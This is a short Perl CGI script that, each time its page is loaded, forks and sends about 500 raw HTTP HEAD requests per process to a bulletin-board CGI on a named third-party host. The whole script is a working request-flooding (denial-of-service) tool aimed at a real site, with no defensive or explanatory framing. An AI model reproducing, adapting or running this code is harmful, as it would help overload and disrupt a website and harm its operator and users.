use IO;
use CGI;
use CGI::Carp qw(fatalsToBrowser);

sub head {
	use IO;
	my $uri = shift;
	my($sock,$host,$path);
	
	($host,$path) = ($uri =~ m%//([^/]+)(.*)%);
	$path ||= '/';
	
	$sock = new IO::Socket::INET(
		PeerAddr => $host,
		PeerPort => 80,
		Proto    => 'tcp',
	) || die;
	
	$sock->print("HEAD $path HTTP/1.0\n\n");
	return(<$sock>);
}

CGI::header();

fork();

for (my $i = 0;$i < 500;$i++) {
	head('http://jo.st45.arena.ne.jp/cgi-bin/bbs.cgi');
	STDOUT->print(" ");
}